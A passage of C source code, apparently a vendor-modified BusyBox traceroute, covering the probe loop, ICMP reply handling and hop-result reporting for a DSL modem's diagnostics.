SOL_SOCKET, SO_DEBUG, (char *)&on, sizeof(on)); #endif if (options & SO_DONTROUTE) (void) setsockopt(sndsock, SOL_SOCKET, SO_DONTROUTE, (char *)&on, sizeof(on)); if (source) { memset(&from, 0, sizeof(struct sockaddr)); from.sin_family = AF_INET; from.sin_addr.s_addr = inet_addr(source); if (from.sin_addr.s_addr == -1) bb_error_msg_and_die("unknown host %s", source); outpacket->ip.ip_src = from.sin_addr; #ifndef IP_HDRINCL if (bind(sndsock, (struct sockaddr *)&from, sizeof(from)) < 0) bb_perror_msg_and_die("bind"); #endif } fprintf(stderr, "traceroute to %s (%s)", hostname, inet_ntoa(to->sin_addr)); if (source) fprintf(stderr, " from %s", source); fprintf(stderr, ", %d hops max, %d byte packets\n", max_ttl, datalen); for (ttl = 1; ttl <= max_ttl; ++ttl) { u_long lastaddr = 0; int got_there = 0; int unreachable = 0; #if defined(DMP_TRACEROUTE_1) pTraceRouteInfo->routeHopsNumberOfEntries++; #endif printf("%2d ", ttl); for (probe = 0; probe < nprobes; ++probe) { int cc, reset_timer; struct timeval t1, t2; struct timezone tz; struct ip *ip; (void) gettimeofday(&t1, &tz); send_probe(++seq, ttl); reset_timer = 1; while ((cc = wait_for_reply(s, &from, reset_timer)) != 0) { (void) gettimeofday(&t2, &tz); if ((i = packet_ok(packet, cc, &from, seq))) { reset_timer = 1; if (from.sin_addr.s_addr != lastaddr) { print(packet, cc, &from); lastaddr = from.sin_addr.s_addr; } printf(" %g ms", deltaT(&t1, &t2)); #if defined(DMP_TRACEROUTE_1) struct icmp *hopIcp; int hopHlen; struct ip *hopIp; hopIp = (struct ip *) packet; hopHlen = hopIp->ip_hl << 2; hopIcp = (struct icmp *)(packet + hopHlen); repTime = ((int)(t2.tv_sec - t1.tv_sec) * 1000 + (int)(t2.tv_usec - t1.tv_usec) / 1000); sprintf(strRepTime, "%d,", repTime); pTraceRouteInfo->responseTime+=repTime; pTraceRouteInfo->routeHops[ttl-1].hopErrorCode = hopIcp->icmp_code; sprintf(pTraceRouteInfo->routeHops[ttl-1].hopHost, "%s", inet_ntoa(from.sin_addr)); sprintf(pTraceRouteInfo->routeHops[ttl-1].hopHostAddress, "%s", inet_ntoa(from.sin_addr)); strcat(pTraceRouteInfo->routeHops[ttl-1].hopRTTimes, strRepTime); #endif switch(i - 1) { case ICMP_UNREACH_PORT: ip = (struct ip *)packet; if (ip->ip_ttl <= 1) printf(" !"); ++got_there; break; case ICMP_UNREACH_NET: ++unreachable; printf(" !N"); break; case ICMP_UNREACH_HOST: ++unreachable; printf(" !H"); break; case ICMP_UNREACH_PROTOCOL: ++got_there; printf(" !P"); break; case ICMP_UNREACH_NEEDFRAG: ++unreachable; printf(" !F"); break; case ICMP_UNREACH_SRCFAIL: ++unreachable; printf(" !S"); break; } break; } else reset_timer = 0; } if (cc == 0) { #if defined(AEI_VDSL_CUSTOMER_NCS) failcount++; #endif printf(" *"); } #if defined(AEI_VDSL_CUSTOMER_NCS) else failcount=0; #endif (void) fflush(stdout); } putchar('\n'); if (got_there || (unreachable && unreachable >= nprobes-1)) { #if defined(DMP_TRACEROUTE_1) if (got_there) { AEI_sendTraceRouteEventMessage(pTraceRouteInfo, Complete); } else if (unreachable && unreachable >= nprobes-1) { AEI_sendTraceRouteEventMessage(pTraceRouteInfo, Error_MaxHopCountExceeded); } #endif return 0; } #if defined(AEI_VDSL_CUSTOMER_NCS) #if defined(AEI_VDSL_CUSTOMER_QWEST_Q2000) if (failcount >= nprobes*2&&ttl_set_flag==0) #else if (failcount >= nprobes*2) #endif { #if defined(DMP_TRACEROUTE_1) AEI_sendTraceRouteEventMessage(pTraceRouteInfo, Error_MaxHopCountExceeded); #endif return 0; } #endif } #if defined(DMP_TRACEROUTE_1) AEI_sendTraceRouteEventMessage(pTraceRouteInfo, Error_MaxHopCountExceeded); #endif return 0; }